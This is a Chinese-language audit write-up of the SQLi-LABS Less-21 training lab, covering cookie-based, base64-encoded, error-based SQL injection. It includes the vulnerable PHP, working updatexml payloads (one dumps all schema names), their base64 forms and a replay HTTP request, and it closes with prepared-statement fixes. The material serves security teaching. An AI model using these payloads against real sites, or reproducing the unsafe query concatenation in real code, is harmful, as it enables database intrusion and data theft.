sqli-labs-Less-21-代码审计报告

12次阅读
没有评论

Less-21 审计报告:Cookie 注入(报错型,base64 + 括号单引号闭合)

1. 关卡概述

项目 内容
关卡名称 Less-21 Cookie Injection- Error Based- complex - string
源码路径 Less-21/index.php
漏洞类型 SQL 注入 – 报错型(Cookie 中 base64 编码后注入)
注入点参数 Cookie uname(base64 编码),登录后由服务端下发
报错/盲注 报错回显(mysql_error() + updatexml/extractvalue XPATH 报错)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x(需支持 updatexml/extractvalue)

2. 漏洞代码定位

文件: Less-21/index.php

注入点不在登录表单,而在已登录状态下读取 Cookie 并拼入 SQL 的代码:

// 第 126 行:Cookie 原样取出(base64 字符串)
$cookee = $_COOKIE['uname'];

// 第 144 行:base64 解码后直接进入查询
$cookee = base64_decode($cookee);

// 第 146 行:解码结果拼入 SQL,且被括号 + 单引号包裹
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

// 第 147 行:直接执行
$result=mysql_query($sql);

// 第 150 行:查询失败时直接回显 mysql_error()
die('Issue with your mysql: ' . mysql_error());

登录成功后下发 Cookie 的代码:

// 第 88 行:登录成功后把用户名 base64 后写入 Cookie
setcookie('uname', base64_encode($row1['username']), time()+3600);

补充:登录表单(第 73~82 行)本身经过 check_input() 处理,其中第 51 行 substr($value,0,20) 截断到 20 字符、第 59 行用 mysql_real_escape_string 转义,因此登录口不是主注入点;主注入点在 Cookie 消费处,base64_decode() 后完全没有任何过滤。


3. 漏洞分析

  • 输入来源:$_COOKIE['uname'],攻击者完全可控;且该值会先经 base64_decode() 还原,攻击者只需把 payload 做一次 base64 编码即可绕过任何"看起来像乱码"的表面防护。
  • 过滤机制:Cookie 路径上无任何过滤/转义。虽然数据从 Cookie 来,但代码信任了 Cookie 内容等同于"服务端下发的合法值",这是错误的信任假设。
  • SQL 拼接位置:WHERE username=('$cookee'),即查询条件被 (' 和 ') 包裹。
  • 闭合方式:先注入一个 ') 闭合 (',再注入 and updatexml(...),最后用 -- - 注释掉原句尾的 ')。
  • 是否回显:第 150 行 die('Issue with your mysql: ' . mysql_error()); 会原样回显数据库报错,updatexml() 的 XPATH 报错会把查询结果回显在错误信息中(报错注入)。
  • 可被绕过的本质:服务端对 Cookie 的信任 + base64 仅是一种编码而非防护 + 直接字符串拼接。

4. 利用方式

步骤一:获取/构造合法 Cookie 基线

正常登录 admin/admin,服务端返回 Set-Cookie: uname=<base64(admin)>。由此确认 Cookie 值需 base64 编码。

步骤二:构造报错注入 payload(本地先生成 base64)

明文 payload(闭合 ('):

admin') and updatexml(1,concat(0x7e,database()),1)-- -

对其整体做 base64 编码:

YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSktLSAt

步骤三:携带 Cookie 重放

发送 Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSktLSAt,服务端 base64_decode() 后得到 admin') and updatexml(1,concat(0x7e,database()),1)-- -,拼入:

SELECT * FROM users WHERE username=('admin') and updatexml(1,concat(0x7e,database()),1)-- -') LIMIT 0,1

预期结果:页面回显类似 XPATH syntax error: '~security',~security 即为当前数据库名。

步骤四:提取其它数据

把 database() 替换为任意子查询,例如爆所有库名:

admin') and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)-- -

5. Yakit 重放数据包

GET /sqli-labs/Less-21/ HTTP/1.1
Host: 127.0.0.1
Cookie: uname=YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSktLSAt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

说明:将 Cookie 中的 base64 换成其它 payload 的 base64 值即可。换 payload 后请先在本地 base64 编码(UTF-8),再放入 Cookie: uname=...。


6. 修复建议

修复一(首选):PDO 预处理,不信任 Cookie

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$cookee = base64_decode($_COOKIE['uname'] ?? '');
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :u LIMIT 0,1");
$stmt->bindValue(':u', $cookee);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? LIMIT 0,1");
$stmt->bind_param('s', $cookee);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

  • 不把敏感信息放入 Cookie 明文/可解编码;若必须用 Cookie 维持会话,应使用随机 Session ID(服务端 Session 保存状态),而不是可解码的用户名。
  • 关闭报错回显:移除 die('Issue with your mysql: ' . mysql_error()),生产环境 display_errors=Off、统一错误日志。
  • 最小权限:数据库账号仅授权必要库表的 SELECT/INSERT/UPDATE。
  • 服务端升级至 PHP 7+ / 8+,移除 mysql_* 扩展,使用 PDO/mysqli 预处理。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境。
  • 关键前提:MySQL 版本需支持 updatexml()(5.1+);若目标不可用报错注入,可改用布尔/时间盲注替换 updatexml 部分。
正文完
 0